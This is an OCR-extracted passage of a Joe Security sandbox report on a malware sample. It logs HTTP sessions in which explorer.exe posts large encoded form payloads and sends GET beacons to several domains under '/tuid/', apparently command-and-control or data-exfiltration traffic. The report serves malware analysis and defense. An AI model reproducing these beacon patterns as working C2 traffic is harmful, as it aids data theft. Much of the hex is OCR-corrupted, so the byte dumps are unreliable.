17:45:25.888622046 Date: Mon, 08 Aug 2022 15:45:25 GMT

CEST Transfer-Encoding: chunked
Connection: close
Cache-Control: max-age=3600
Expires: Mon, 08 Aug 2022 16:45:25 GMT
Location: https://www.secureartist.com/tuid/?m4bd=LeABMOdRx+cjh3zMeGVoLpl9dcpUDUhE6Ym2dCR4Y XuE8jour2
rN+gEOINsGd1piKr34&M8s=w86DJpgx5FYIUfRP
Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\\v3?s=IWzuVdGWUACpXhrt7xT1sSETgPREppXmH
3GgAdEVCMDNnpPfUW%2FFr%2FgsOH9bHY%2BVePj%2BkLo%2FUOMISZsMNs9abQt7uzXj%2Fa%2B69CIXW
WQESi%2F0u%2FtrLxAKZm56YeSn85WF2YEiq8ZWsJKYA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 73796108bd73695e-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Session ID Source IP Source Port Destination IP Destination Port Process

14 192.168.11.20 49770 130.211.17.207 80 C:\Windows\explorer.exe

Timestamp Ly Direction Data

transferred
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kBytes

Timestamp T Direction
Aug 8, 2022 1189 ouT
17:45:30.924655914

CEST

Aug 8, 2022 1367 IN
17:45:31.143806934

CEST

Session ID Source IP Source Port
15 192.168.11.20 49771

Copyright Joe Security LLC 2022

Data

POST /tuid/ HTTP/1.1

Host: www.ymsb.info

Connection: close

Content-Length: 174830

Cache-Control: no-cache

Origin: http://www.ymsb.info

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.ymsb.info/tuid/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 6d 34 62 64 3d 7e 33 52 51 4d 32 71 44 64 5f 36 76 53 4b 52 63 54 41 4e 59 45 51 64 65 66 4e 36 30 69 6b
46 5572 77 4c 71 77 31 54 59 6d 6f 7e 39 72 65 69 67 6f 70 57 6d 49 4b 36 6a 65 68 34 68 73 70 47 31 62 51 6d 2d 71
65 41 4f 30 4e 57 59 79 76 68 68 55 75 46 4e 70 44 7e 4a 6a 75 67 7a 4d 50 38 48 50 77 6d 2d 71 67 31 2d 42 56 30 39
36 4b 72 72 30 36 35 73 42 35 62 35 37 33 66 54 52 78 75 63 55 6¢ 65 6d 54 6b 46 44 6d 77 6b 34 33 65 35 48 36 61 70
3271 4e 66 7a6a 47 61 38 7e 37 72 74 79 79 7a 6f 46 31 47 43 4a 6d 30 64 76 51 47 51 79 4b 4e 37 6¢ 63 77 4c 73 4d
4d 4c 47 4b 34 46 77 71 66 68 54 42 42 71 6¢ 42 45 7a 51 35 77 4c 4d 58 4f 76 55 4c 44 78 6e 43 66 65 56 72 68 71 52
4d 6d 53 32 68 32 51 75 78 43 78 55 30 67 6e 4a 50 41 52 32 45 46 54 50 48 4f 74 63 79 33 4b 47 54 69 31 50 4f 72 55
52 53 7a 31 35 54 49 36 49 79 30 4e 39 4b 54 44 57 5a 63 38 39 44 53 35 4d 74 52 46 61 41 67 58 6a 5f 42 2d 53 54 6¢
77 6559 62 38 47 5f 74 50 4d 32 4f 44 62 6f 6¢ 68 35 6b 77 68 76 44 53 76 59 39 66 4a 53 51 6b 75 7a 55 6b 41 53 31
41 4d 49 30 6f 57 4e 76 70 51 46 32 79 6b 75 33 73 65 31 41 66 72 50 4e 52 64 4a 67 49 57 33 45 48 49 70 7a 67 71 39
55 44 6b 6¢ 6¢ 30 6d 6f 58 4e 70 35 4c 68 6b 32 55 35 4c 34 52 7e 43 4a 53 6b 66 6a 6¢ 79 69 47 47 67 61 4d 55 68 54
3152485863 46 7e 56 4b 32 64 70 54 64 7e 5a 28 46 48 53 45 46 77 36 55 44 34 78 67 73 42 45 41 47 71 61 4e 41 6a
7276 42 37 67 4a 31 37 79 38 65 67 66 42 63 37 78 65 68 76 59 39 49 30 5a 4f 59 63 52 54 75 59 67 54 59 37 79 65 42
69 72 3543743447 70 47 79 36 6a 77 7a 7a 6f 49 77 30 62 53 66 78 71 34 74 62 76 7e 54 34 6f 56 56 4f 7a 52 32 4d 5f
4a 63 59 55 48 66 4f 70 61 67 52 32 5a 50 76 39 37 79 37 77 47 73 67 56 59 46 56 50 72 56 39 5f 6a 42 76 4f 38 6e 79
73 63 71 6a 32 6e 65 56 37 38 36 6e 48 78 71 4f 38 46 42 56 52 30 38 69 72 6a 77 53 49 33 58 41 31 64 69 44 59 35 72
4d 4b 6f 39 70 36 57 68 41 69 32 42 69 49 65 6a 32 42 50 73 70 65 76 68 7e 6¢ 45 4f 4d 30 4c 71 47 35 7e 46 47 50 73
77 4b 65 41 6e 46 6f 57 58 69 38 4f 32 66 59 4c 4c 70 5f 76 6b 42 79 41 79 65 53 77 48 71 4d 6d 52 41 73 55 6d 4d 74 4c
53 6¢ 2d 58 32 31 37 44 63 44 77 6d 34 32 46 6e 6a 51 38 30 42 6f 6f 4b 78 44 41 48 73 4c 2d 47 48 50 44 39 78 68 6f 6e
6f 48 37 33 48 73 4c 66 31 73 38 35 67 6a 36 75 46 47 37 4d 71 54 66 42 6a 6b 70 7a 67 55 32 4b 6a 54 64 31 6f 72 59
58 6a 48 37 74 68 31 52 4e 64 4c 77 6f 31 48 45 48 43 4e 74 4c 71 6¢ 6e 7a 6d 7a 7a 70 44 38 57 45 67 6d 72 71 47 5a
61 34 69 35 4c 50 37 78 46 74 36 5a 7a 56 50 65 6¢ 67 67 4d 73 43 57 62 43 46 66 42 45 4e 53 67 4e 63 42 28 73 6¢C 77
43 4e 76 65 35 50 34 34 70 44 4¢c 70 69 34 67 46 75 70 48 4a 72 30 68 79 48 70 57 72 68 51 78 75 59 59 48 68 38 71 4f
3131535555 4a 6f 7a 4359 31 78 47 71 36 33 50 48 75 35 64 45 43 70 31 52 64 34 50 44 61 32 67 56 4c 4d 4b 72 74
31 33 4f 53 6b 5f 59 6a 42 36 30 46 4d 66 73 4c 6e 42 56 52 42 6b 72 53 66 6¢ 62 50 4a 7a 58 77 73 4a 65 31 55 58 49
45 47 34 66 68 68 33 54 56 56 5a 53 7a 75 67 5a 4a 32 50 69 57 4c 31 66 4e 33 35 41 57 4b 5a 30 6¢ 6f 32 30 77 4b 71 4
376 63 48 4d 5a 63 59 68 53 55 6¢ 31 6¢ 76 49 39 45 32 58 6e 39 75 4a 66 38 76 67 6a 4b 7a 38 63 4a 4c 79 61 44 6b
5851 30 6a 51 78 44 6b 56 62 6f 52 70 43 54 70 6d 7a 6e 48 64 44 30 78 2d 46 31 39 35 7e 2d 30 30 69 71 4c 30 56 65
46 69 58 63 52 69 69 59 38 70 76 71 45 56 48 67 63 49 4c 34 5a 43 4d 74 54 34 49 4f 33 70 77 39 4b 38 59 6d 4e 44 48
66 78 6¢ 75 6d 67 75 58 61 7e 5f 57 45 41 6b 46 32 4b 43 57 50 45 33 74 57 42 62 71 44 32 4e 30 4b 49 47 63 52 68 47
61 6¢ 4d 5a 64 2d 45 33 6b 57 4d 39 62 4c 69 5f 4b 33 6e 63 4b 37 59 57 52 6e 31 32 6b 51 55 55 45 58 55 5f 79 78 52
51 7e 64 48 4d 64 69 7a 4555 77 31 71 6d 5a 37 64 46 42 43 36 4b 34 4d 42 44 4f 54 57 52 53 71 4b 77 66 65 6a 4f 74
79 58 31 34 45 39 54 56 38 6b 65 6b 59 2d 7e 2d 7a 56 74 6d 71 6f 59 34 7a 58 37 49 6d 65 75 49 6a 42 79 35 33 55 6¢
7077 41 57 49 41 6b 49 43 6b 49 64 2d 76 36 50 46 6f 74 44 4c 30 36 34 4c 30 54 4e 48 73 2d 55 7a 4d 55 6f 48 44 39
59 45 28 6a 71 4c 4e 54 7e 4c 31 72 4a 4c 42 37 6d 57 52 46 68 4b 45 32 5a 74 6a 4a 36 74 45 4a 5a 4d 74 75 77 54
Data Ascii: m4bd=~3RQM2gDd_6vVSKRcTANYEQdefN60ikFUrwLgw1TYmo~9reigopWmlK6jeh4hspG1bQm-geAOO
NWYyvhhUuFNpD~JjugzMP8HPwm-qg1-BV096Krr065sB5b573fTRxucUlemTkFDmwk43e5H6ap2qNfzjGa8~7rtyyz
0F1GCJIMOdvQGQYKN7IcwLsMMLGK4FwqfhTBBqIBEzZQ5wLMXOvULDxnCfeVrhgRMmS2h2QuxCxU0gnJPA
R2EFTPHOtcy3KGTi1POrURSz15TI6lyON9KTDWZc89DS5MtRFaAgX|j_B-STlweYb8G_tPM20ODbolhSkwhvDSvY9fJS
QkuzUKAS1AMIOoWNvpQF2yku3selAfrPNRAJIgIW3EHIpzgg9UDKIIOmoXNp5Lhk2U5L4R~CJISkfjlyiGGgaMUhT1RH
XcF~VK2dpTd~Z(FHSEFw6UD4xgsBEAGqaNAjrvB7gJ17y8egfBc7xehvY9lI0ZOYCRTUYQTY7yeBir5CtaGpGy6jwzz
0lwObSfxq4tbv~T40VVOzR2M_JcYUHfOpagR2ZPv97y7wGsgVYFVPrV9_jBvO8nyscqj2neV786nHxqO8FBVROSirj
WSI3XA1diDY5rMKo9p6WhAi2Bilej2BPspevh~IEOMOLGG5~FGPswKeAnFoWXigO2fYLLp_vkByAyeSwHgMmRAsUMM
tLSI-X217DcDwm42FnjQ80BooKXDAHsL-GHPD9xhonoH73HsLf1s85gj6uFG7MqTfBjkpzgU2KjTd1lorYXjH7th1RN
dLwolHEHCNtLqInzmzzpD8WEgmrqGZa4isLP7xFt6ZzVPelggMsCWbCFBENSgNcB(slwCNve5P44pDLpidgFupHJr
OhyHpWrhQxuYYHh8gO11SUUJozCY1xGq63PHUSAECP1Rd4PDa2gVLMKrt130Sk_YjB60FMfsLnBVRBkrSfloPJIzXws
JelUXIEG4fhh3TVVZSzugZJ2PiWL1fN35AWKZ0lo20wKqCvcHMZcYhSUI1IvISE2XNn9uJf8vgjKz8cJLyaDkXQ0jQx
DkVhoRpCTpmznHdDOXx-F195~-00igLOVeFiXcRiiY8pvgEVHgCIL4ZCM(T4103pw9K8YmNDHfxlumguXa~_ WEAKF2K
CWPE3tWBbgD2NOKIGcRhGalMZd-E3kWM9bLi_K3ncK7YWRN12kQUUEXU_yxRQ~dHMdizEUw1lgmZ7dFBC
6K4MBDOTWR SgKwfejOtyX14E9TV8kekY-~-zVtmgoY4zX7ImeuljBy53UIpwAWIAKICkId-v6PFotDLO64LOTNHs-U
ZMUOHD9YE(jgLNT~L1rJLB7mWRFhKE2ZtjJ6tEJZMtuwTS08985CQfP6tII8bwzU-Al485eY 1kiWoDKVWBYI9LJoEbJ
xUQ3h0Bh2ioprkQwJOJIXo9HwWztrWQ6QFC~ECQQsa7bNNaTqAmM54804hdynzdgqGSUbcvwS-FL7phkELBqdkIAI-4Q8
WUHIjiy9V6gZLXfxkZZuJi~zlce695liAJozFIjxutX76Irhj8dhUf14nDI6L5iwnihHkJVaRczUfiSNN81j~QuwlcselXzQjOM8G
EEDbIYk-1Vgg4zilTK7ksbqwwkWK9C~VEr~vSiATsFTta43qEVypOmLsEhHAL 3k7nVUIiwPQk3jjBAktd9n40FZLs45e
OjpiDee97IrbgI8HwjbIFX5aYIxPS7Airzeérc8colLcGEOQIEvVcVIfbIMg_FW(zXa5skGKLVtRIeOWNGY7BCpStnDN
fIVh5IWzUO_1-kbmjNTzSTLFz3GVIrgMEV4qbw57KbSQh3RctbaQ8mZVoZYthVgMvZmuAC5kYSbt6OXfiM_xzefSpP
er9sjI3fYChC-al9StGru6lmmTi9JuVsVI3rrtUprXo8~3ku(xbVi7KzgZLJjwVCQFfECO4va3ZuTVVIEvVJIlioFB3aBl12Btvo_2Z|
2W-755QJt(pMUIdCKWCUxd-VUyNWbrqtbjUxjtOG CwbybVfk4WPIWOqJoXSaeny72c2ZgFHT8vGntP33899clIk5h G
H1IIM9_rQsiD_aFriylgS9uQ2R-evin~ROKUF|8LQVkr9j9ZoHB1InabiXIl1ioQSXPbM31Ym9IEoC5PAF08EscM4q
mKZyejkRLpuzHjhQ3wuJODc1d9Q59gtplMjiyUwuh(nZXUrLynUX9C7Y_wkX22YhvI1I3IWUMWPC2RgkTXnDJV-nf7
SDVWIOMamsxBvpUQRQmLDQqI9qD8t_bda7pll2mIvV8VIAQvTe3mE

HTTP/1.1 405

Allow: GET

Content-Length: 0

Date: Mon, 08 Aug 2022 15:45:30 GMT
Via: 1.1 google

Connection: close

Destination IP Destination Port Process

130.211.17.207 80 C:\Windows\explorer.exe
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kBytes

Timestamp Direction Data
transferred
Aug 8, 2022 1227 ouT GET /tuid/?M8s=w86DJpgx5F YIUfRP&m4bd=x1lgSWX2LKO1JKV9IbkchYXFCTPqYoW8UylSztnXFuz2/7+2KqJfWL
17:45:30.935682058 K3RcwQMnMv5S2vv HTTP/1.1
CEST Host: www.ymsb.info
Connection: close
Data Raw: 00 00 00 00 00 00 00
Data Ascii:
Aug 8, 2022 1367 IN HTTP/1.1 302
17:45:31.105803013 Location: https://youtu.be/dgw4w9wgxcq
CEST Content-Length: 0
Date: Mon, 08 Aug 2022 15:45:30 GMT
Via: 1.1 google
Connection: close
Session ID Source IP Source Port Destination IP Destination Port Process
16 192.168.11.20 49772 13.248.216.40 80 C:\Windows\explorer.exe
Timestamp e Direction Data
transferred
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kBytes

Timestamp A Direction
Aug 8, 2022 1370 ouT
17:45:36.148022890
CEST
Session ID Source IP Source Port
17 192.168.11.20 49773
kB
Timestamp ytes Direction
transferred

Copyright Joe Security LLC 2022

Data

POST /tuid/ HTTP/1.1

Host: www.coolarts.xyz

Connection: close

Content-Length: 174830

Cache-Control: no-cache

Origin: http://www.coolarts.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.coolarts.xyz/tuid/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 6d 34 62 64 3d 79 69 6a 6b 4c 76 36 46 4b 59 55 79 68 72 51 70 54 6b 32 74 57 70 7a 6a 69 44 28 56 30 66
54 77 6f 6f 76 7a 52 4a 69 32 4c 61 59 42 6d 71 63 4b 6e 38 41 35 6b 6 48 44 79 71 30 73 35 6e 68 70 6¢ 55 62 71 68 4a
48 49 36 79 77 6d 66 4f 5a 45 44 38 55 36 6a 70 33 64 74 2d 73 71 30 55 4e 66 4f 50 61 49 78 36 43 67 7a 78 79 75 63
32 7a 31 32 69 6e 42 54 44 38 4d 64 6¢ 44 71 35 6f 7a 49 65 4f 6d 70 54 50 46 4c 57 4f 5a 63 34 65 66 4f 55 5a 4a 6f 6f
32 4c 4c 73 7551 31 33 5f 50 75 6a 6d 77 38 30 48 6¢ 56 70 69 64 67 59 66 73 39 34 49 57 65 52 54 31 41 59 79 54 64 7
9 4e 53 34 7a 62 58 6a 35 73 4b 56 73 6f 67 39 58 64 6e 61 78 69 72 46 38 4c 28 35 4e 33 5a 6¢ 77 78 32 53 36 65 67 63
46 4b 57 76 46 54 69 62 57 46 6¢ 58 28 46 6d 63 51 69 6f 52 38 4e 6d 45 6b 47 61 30 39 4a 55 52 63 33 64 66 36 31 4a
7136 3451 6a5869 3879 6b 67 76 5f 44 35 49 68 54 77 46 48 6e 4d 71 6f 34 64 6a 30 48 57 78 75 41 32 33 32 6a 59
35 74 62 50 47 59 4e 68 5a 6f 6¢ 67 44 74 65 55 6b 58 55 4b 76 37 47 6a 55 62 49 79 55 42 72 52 44 4f 65 79 47 78 4c
6e 70 49 75 6d 45 46 68 54 59 61 67 43 73 65 70 46 79 50 69 67 33 47 54 62 71 43 67 70 33 32 55 67 33 6b 49 71 70 36
284973317867 72 35 7a 36 34 49 46 7a 4c 56 42 30 4e 37 30 2d 57 73 31 57 33 4d 49 31 39 52 37 68 70 5a 63 33 38
42 37 6¢ 7579 4d 71 38 7a 67 57 72 33 4b 4a 56 66 62 46 4b 58 69 30 28 42 73 72 34 59 61 43 33 75 35 5f 32 41 39 70
6d 74 78 46 33 4b 45 53 61 39 68 68 49 72 6f 65 4c 47 31 53 39 79 48 57 35 45 50 58 78 6d 69 44 42 55 38 31 72 6b 69
7055 7a 5a 39 61 35 37 45 4f 59 70 35 43 4b 69 34 4c 56 7a 2d 77 36 36 45 43 49 5a 57 71 76 35 6f 57 78 79 5f 7e 65
4536 64 76 77 77 78 69 68 36 6a 6b 53 78 72 43 6¢ 55 54 50 68 42 48 69 41 71 77 49 77 73 50 76 63 50 32 57 43 65 38
74 62 71 49 39 37 6a 33 61 51 4e 63 35 6a 5f 79 33 64 55 63 49 31 2d 49 45 42 64 6d 42 56 30 53 7a 67 41 67 79 75 37
66 76 75 30 45 4f 36 78 73 34 50 54 58 70 36 67 4a 33 76 49 55 53 6b 4d 58 7a 4f 68 48 67 35 76 61 30 78 45 4c 5a 39
4b 54 42 6¢ 56 28 6e 71 64 57 73 72 67 66 4e 6¢ 72 37 7a 32 5f 73 53 69 49 41 38 39 64 5a 34 7a 71 57 67 28 4d 36 49
6d 61 55 4a 35 6a 31 74 56 35 4b 4a 66 6d 77 41 44 4a 52 77 50 37 57 4c 4c 61 54 74 4d 64 67 78 66 49 7a 52 42 6b 4b
51 64 58 45 63 75 48 66 4f 75 4b 42 74 63 44 42 68 59 35 41 67 7a 4a 73 7a 44 71 41 52 61 31 30 5f 34 2d 63 62 67 54
64 6e 4c 68 6b 58 48 41 36 67 4e 45 58 57 79 6a 4f 65 56 66 68 62 76 78 33 53 49 71 34 5f 37 5f 53 4e 79 59 6f 75 77 67
66 4a 69 68 66 6¢ 62 4a 68 50 65 58 4e 76 67 69 62 47 59 4a 46 61 6a 62 34 79 78 57 46 61 4b 59 6e 4c 65 6d 35 55 50
3836 79 58 6e 28 6f 78 62 57 39 75 77 78 34 52 6e 62 37 28 30 6d 5f 4d 70 62 35 38 79 74 4d 52 33 65 6b 79 38 63 34
6e 61 5a 67 41 78 64 5a 79 61 39 54 66 4d 56 71 4f 4d 50 6f 4f 30 74 6¢ 79 54 37 62 73 49 79 59 35 31 47 59 6e 69 65
42 34 A7 Ta 6e 44 4d 52 38 48 2d 4f 47 58 54 75 6a 51 4d 42 4a 6d 5a 33 5f 6b 44 50 30 31 4c 45 59 73 30 33 63 76 34
4c 64 28 49 43 6¢ 49 2d 52 69 56 5f 6a 74 36 61 47 6f 6e 53 76 69 6f 2d 77 46 4d 49 31 36 59 77 63 5f 48 45 39 62 34 47
76 64 44 54 66 66 28 49 34 37 34 33 41 45 4f 67 4d 65 7e 4c 4f 62 64 79 44 64 73 4b 50 78 5a 6d 52 50 74 58 65 67 37
6e 7e 57 34 5f 56 61 56 36 33 63 28 49 32 62 76 69 42 62 43 67 53 6a 79 4c 34 5f 32 56 5a 36 45 53 76 7a 4c 55 30 39 2
87779534868 7e 68 6d 63 52 6f 50 76 69 51 45 4b 72 62 4b 46 63 58 6¢ 72 79 6¢ 36 74 75 43 4b 4f 76 69 66 53 38 38
5544 73 50 62 32 72 70 44 53 44 6¢c 4a 32 64 6f 62 57 6b 69 32 71 45 4a 31 59 57 39 42 73 31 70 67 70 64 44 34 4f 46
50 55 77 69 63 4a 75 78 35 6e 4a 37 42 59 2d 6d 78 79 46 38 73 4c 4c 58 36 38 32 76 37 41 6¢ 66 39 59 51 50 47 6b 50
62 37 6b 54 42 41 76 44 78 5f 4c 34 59 61 66 51 33 32 34 68 46 75 71 58 43 32 31 66 77 74 43 78 32 6d 79 49 4b 4c 46
4158 36 63 36 50 71 51 30 73 68 38 54 61 33 75 50 6d 33 4b 6e 4a 4f 46 5f 56 34 53 46 36 6e 35 36 52 73 45 51 4d 39
6¢ 6d 66 37 4c 6a 6f 4f 32 63 56 4d 6d 58 41 67 38 59 5a 42 71 51 74 33 67 63 67 33 53 62 54 53 52 6a 4e 6f 50 36 71
41 4f 63 65 79 72 58 61 4f 64 64 39 38 51 38 31 66 61 6a 7a 79 50 6d 76 42 76 39 6d 37 50 55 48 6b 55 4d

Data Ascii: m4bd=yijkLv6FKYUyhrQpTk2tWpzjiD(VOfTwoovzRJi2LaYBmgcKn8A5koHDyq0s5nhplUbghJHI6
ywmfOZED8U6jp3dt-sq0UNfOPalx6Cgzxyuc2z12inBTD8MdIDg50zleOmpTPFLWOZc4efOUZJo02LLsuQ13_Pujmw
80HIVpidgYfs94IWeRT1AYyTdyNS4zbXj5sKVsog9XdnaxirF8L(5N3ZIwx2S6egcFKWVFTibWFIX(FmcQioR8NmEK
Ga09JURCc3df61Jq64QjXi8ykgv_D5IhTwFHNMqo4djoHWxuA232jY5tbPGYNhZolgDteUkXUKv7GjUblyUBrRDOeyG
xLnplumEFhTYagCsepFyPig3GThqCgp32Ug3klqp6(Is1xgr5z641FzLVBON70-Ws1W3MI19R7hpZc38B7luyMq8zg
Wr3KJIVIbFKXi0(Bsr4YaC3u5_2A9pmtxF3KESa9hhlroeLG1S9yHW5EPXxmiDBU81rkipUzZ9a57EQY p5CKi4LVz-w
66ECIZWqv50Wxy_~eE6dvwwxih6jkSxrCIUTPhBHIAqwlwsPvcP2WCe8thql97j3aQNc5j_y3dUcl1-IEBdmBV0Szg
Agyu7fVUOEOBxs4PTXp6gJ3vIUSkMXzOhHg5va0xELZIKTBIV(nqdWsrgfNIr7z2_sSilA89dZ4zqWg(M6ImauJsjl
tV5KIfmMwWADIRWP7WLLaTtMdgxflzZRBKKQdAXEcuHfOuKBtcDBhY5AgzJszDgARal0_4-cbgTdnLhkXHABgNEXWyjOeV
fhbvx3Slq4_7_SNyYouwgfJihflodhPeXNvgibGYJFajb4yxWFaKYnLem5UP86yXn(oxbW9uwx4Rnb7(0m_Mpb58yt
MR3eky8c4naZgAxdZya9 TfMVgqOMPoOOtlyT7bslyY51GYnieB4GznDMR8H-OGXTujQMBJImZ3_kDPO1LEYs03cv4Ld(
ICII-RiV_jt6aGonSvio-wFMI16Ywc_HE9b4GvdDTff(14743AEOgMe~LObdyDdsKPxZmRPtXeg7n~W4_VaV63c(12
bviBbCgSjyL4_2VZ6ESvzLU09(wySHh~hmcRoPVIQEKrbKFcXIryl6tuCKOVifS88UDsPb2rpDSDIJ2dobWki2gEJ1
YW9Bs1pgpdD4OFPUwicJux5nJ7BY-mxyF8sLLX682v7AIf9YQPGkPb7kTBAVDxX_L4YafQ324hFugXC21fwtCx2mylK
LFAX6c6PqQ0sh8Ta3uPm3KnJOF_V4SF6n56RSEQMIImf7Ljo02cVMmXAg8YZBqQt3gcg3ShbTSRjNoP6gAOceyrXaOd
d98Q81fajzyPmvBvIm7PUHKUM6wC|G DzLKkMOWFMX9vAmMKbIpDricz2iLi62exGHsfJIQaVW9PFcZu7jv7YG5IG6Hp
uhuY9yVLOGVSNtUUY Vkfle_892awvQ8I53H2KtCDFFZpBvPUumDbLghHINeD4AuAWdOr7n1duBVVyOCHCFVcxgFPxy
QdvCwsW7UZU4ybeo3hwlZQKgqJQBGALGShBEWC3ShSkzs8UK30A04myR~2h20g5-TOA1sjqFOGCjqrRPfNLWB9po4bJ
1o0NgKE3gAXRFOU4JPetNEISbMODaF5G4TGINb55HgodpFIDNGNj(QjC5t8SWJIpMcN4PIG8VdV(8EeWxbrBw7qgthéy
f44G7XDNDbzCxBmpCrHC1SOoxwpizO9hwMngf3Nz4ZRg~cJqoo4KyDZ8jT999Eerqt7IW3hQ~hQSCyS7if5abAezj_7
KK4S-m5uSqzF7iSN9oImY08cxdol1EYs8Q1XW-BbB4Qreg9rP7bte0KqdYoKKFjrg7IMxwWplg~liER-r8KXIONIWbw
2Cf2cQAFg~ApW6EWgHNhi9fQtIBxlcOdeOkumOYohlmDeNkliGeoDp0iVrANrfEVA3F1JzTVaTUEK_VKSIJgT2JtY Xs
HHHN7NVOxb_0vYNem5V9pRpkBGCXIiyW1VD9I8BziJ8gwY T25Wg98p219SOuinGULcuYbSp-a9dShuA5ZIB2~tG4R 1k
xsLrutd1ZS30ZS1Ighzj-DnwGHKwIiVOhzOLQ8RRFhkk_mG6dz33R8gALkx9wj-KjluMImG0060~aaJng(dwv7pOiv
bJT2xsbWixjIMPjsDhSWz6iJSW2Y8CLz7sZdFog5s2b0ATA~0a9MIyDr4HLk1GPWRXtY SwXV3xugHapnPC38QGPECE
H3rirMg8x3rMWSVChCGCefKDSza37J3aJTLFfbkleSw

Destination IP Destination Port Process
13.248.216.40 80 C:\Windows\explorer.exe
Data
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Timestamp

Aug 8, 2022
17:45:36.160571098
CEST

Aug 8, 2022
17:45:36.341478109
CEST

Session ID

18

Timestamp

kBytes
transferred

1404

1545

Source IP

192.168.11.20

kBytes
transferred

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49779

Direction

Data

GET /tuid/?m4bd=9gXeVPWqRuIX9bliSDPSA07Wpwb+1c/G4dykJbOMN5RD0q8y2Pxv3NPChbg6IQ1LsmOi&M8s=w
86DJpgx5FYIUfRP HTTP/1.1

Host: www.coolarts.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: awselb/2.0

Date: Mon, 08 Aug 2022 15:45:36 GMT

Content-Type: text/html

Content-Length: 118

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20
46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢
3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body>
</html>

Destination IP Destination Port Process
89.46.108.25 80 C:\Windows\explorer.exe
Data
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kBytes

Timestamp T Direction
Aug 8, 2022 1603 ouT
17:45:41.422015905

CEST

Copyright Joe Security LLC 2022

Data

POST /tuid/ HTTP/1.1

Host: www.ap-render.com

Connection: close

Content-Length: 174830

Cache-Control: no-cache

Origin: http://www.ap-render.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.ap-render.com/tuid/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 6d 34 62 64 3d 57 55 6e 4c 6¢ 62 54 59 74 6d 67 3231 72 38 79 34 46 35 37 71 71 39 52 39 52 7a 41 52 45
46 66 57 3353 4e 46 71 42 49 52 68 77 77 32 44 65 48 71 4f 4d 53 6f 49 79 52 68 47 38 31 4a 50 4c 48 6a 6f 41 43 42
2d 5a 6a 78 49 71 65 6f 62 59 39 35 5f 65 70 6¢ 38 66 66 6e 43 4e 38 46 69 68 54 32 70 62 4b 37 69 59 62 4a 6b 77 75 7
a 56515249 626857 6473714243 7a31794b 6¢ 71 63 51 38 4e 2d 38 7a 42 49 70 66 42 57 68 66 4e 72 79 39 77
30 4f 67 76 79 71 54 56 6f 56 76 36 7a 52 33 75 53 75 4b 46 7a 48 37 6f 46 6e 50 51 4e 56 57 42 48 6e 4d 64 33 55 57
373754 465164547961 3134 2d 39 6e 77 58 49 52 61 50 4d 57 5a 59 75 53 58 30 73 64 6f 4e 44 70 34 6d 78 57 76
52 69 51 4f 4c 44 43 57 76 53 58 34 75 35 65 73 75 6d 54 4e 55 4a 42 37 76 68 74 61 70 6f 68 67 4b 28 51 64 6d 6e 48
52 4c 63 69 42 42 6d 49 32 6e 37 46 48 50 47 76 33 6e 4e 4c 50 65 46 74 65 72 4Af 36 4f 4d 79 76 68 45 53 39 6b 54 31
2d 51 62 54 73 4b 67 42 79 77 6a 56 37 72 5a 74 50 50 79 50 7a 62 57 70 6e 4f 75 64 37 33 69 66 79 4d 43 7a 77 53 49
7e 795559 32 65 37 39 59 39 4c 47 36 55 57 6a 74 48 68 36 5a 41 59 48 30 70 33 42 66 54 34 44 64 58 68 63 35 4c 70
7048 62 43 79 58 42 57 41 32 65 50 54 34 6b 43 33 59 62 55 76 65 48 4d 4a 6d 63 46 78 54 39 56 78 56 63 28 78 70 62
63 57 4e 54 59 43 58 6a 73 4d 41 5a 70 44 6e 75 70 6f 49 4d 74 30 4c 31 75 76 4e 4a 31 48 4c 30 46 32 30 4f 42 4¢c 77
63 4b 37 33 54 6b 41 6f 68 47 44 50 73 4e 65 32 70 63 33 38 55 39 32 6a 64 36 6¢ 74 4a 76 7a 32 72 70 59 51 50 78 6a
62 37 31 7950 63 30 3352 7551 7452 33 71 67 76 52 75 52 4b 6f 36 78 79 70 4b 5a 44 71 45 46 58 77 52 48 4f 66 46
7851 79 72 55 62 38 66 39 79 73 4d 46 4f 72 4e 6b 46 66 33 33 4d 4f 4f 2d 77 56 47 31 73 4b 4f 54 45 58 42 34 58 46 44
6a 46 55 33 50 52 46 47 4f 65 58 73 4e 4f 6f 6e 6¢ 4f 59 38 6e 28 6d 41 42 33 4d 50 77 42 62 66 75 58 7a 79 72 65 6f 6d
6d 50 31 79 61 72 71 4d 47 56 59 52 79 78 2d 4d 68 37 38 52 74 54 47 79 58 7e 6¢ 31 52 51 58 72 31 4d 56 43 51 51 4e
76 6f 4b 48 66 54 51 5f 53 53 54 52 41 52 68 77 5a 34 66 52 70 75 63 70 38 41 59 56 6¢ 42 7a 44 4b 6¢ 39 30 64 67 61
